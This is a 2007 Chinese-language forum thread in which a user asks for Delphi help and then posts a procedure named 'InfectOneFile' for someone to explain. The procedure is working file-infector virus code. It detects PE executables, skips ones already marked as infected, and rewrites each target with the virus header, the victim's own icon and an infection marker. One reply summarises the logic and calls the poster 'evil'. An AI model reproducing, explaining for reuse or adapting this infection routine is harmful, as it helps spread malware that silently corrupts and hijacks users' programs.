找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 1099|回复: 14

求助............

[复制链接]

该用户从未签到

发表于 2007-11-28 22:17:33 | 显示全部楼层 |阅读模式
有懂Delphi语言的高手嘛?

该用户从未签到

发表于 2007-11-28 22:21:23 | 显示全部楼层
肯定有啊,回答完毕。。

该用户从未签到

发表于 2007-11-28 22:26:53 | 显示全部楼层
有是有,不过是稀少动物罢了,
  • TA的每日心情
    奋斗
    2024-12-15 16:25
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2007-11-28 22:37:27 | 显示全部楼层
    晕. 那是个啥语言? 你上网查查吧.!   估计能找到。  你在这里面问,.  我看....机会很渺茫>!

    该用户从未签到

    发表于 2007-11-28 23:21:47 | 显示全部楼层

    该用户从未签到

    发表于 2007-11-28 23:41:44 | 显示全部楼层
    LS的就是..

    该用户从未签到

    发表于 2007-11-29 00:25:35 | 显示全部楼层
    别哥就是了

    该用户从未签到

     楼主| 发表于 2007-11-29 12:11:58 | 显示全部楼层
    bie哥


    帮忙解释下...
    procedure InfectOneFile(FileName: string);
    var
    HdrStream, SrcStream: TFileStream;
    IcoStream, DstStream: TMemoryStream;
    iID: LongInt;
    aIcon: TIcon;
    Infected, IsPE: Boolean;
    i: Integer;
    Buf: array[0..1] of Char;
    begin
    try
    if CompareText(FileName, 'JAPUSSY.EXE') = 0 then
    Exit;
    Infected := False;
    IsPE := False;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    try
    for i := 0 to $108 do
    begin
    SrcStream.Seek(i, soFromBeginning);
    SrcStream.Read(Buf, 2);
    if (Buf[0] = #80) and (Buf[1] = #69) then
    begin
    IsPE := True;
    Break;
    end;
    end;
    SrcStream.Seek(-4, soFromEnd);
    SrcStream.Read(iID, 4);
    if (iID = ID) or (SrcStream.Size < 10240) then
    Infected := True;
    finally
    SrcStream.Free;
    end;
    if Infected or (not IsPE) then
    Exit;
    IcoStream := TMemoryStream.Create;
    DstStream := TMemoryStream.Create;
    try
    aIcon := TIcon.Create;
    try
    aIcon.ReleaseHandle;
    aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
    aIcon.SaveToStream(IcoStream);
    finally
    aIcon.Free;
    end;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
    CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
    CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
    CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
    CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
    DstStream.Seek(0, 2);
    iID := $44444444;
    DstStream.Write(iID, 4);
    finally
    HdrStream.Free;
    end;
    finally
    SrcStream.Free;
    IcoStream.Free;
    DstStream.SaveToFile(FileName);
    DstStream.Free;
    end;
    except;
    end;
    end;


    该用户从未签到

    发表于 2007-11-29 12:24:29 | 显示全部楼层
    什么鸟语?不懂~

    该用户从未签到

    发表于 2007-11-29 12:25:30 | 显示全部楼层
    判断文件是否PE文件格式和有没有被感染过,如果没有就

    lz太邪恶了
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表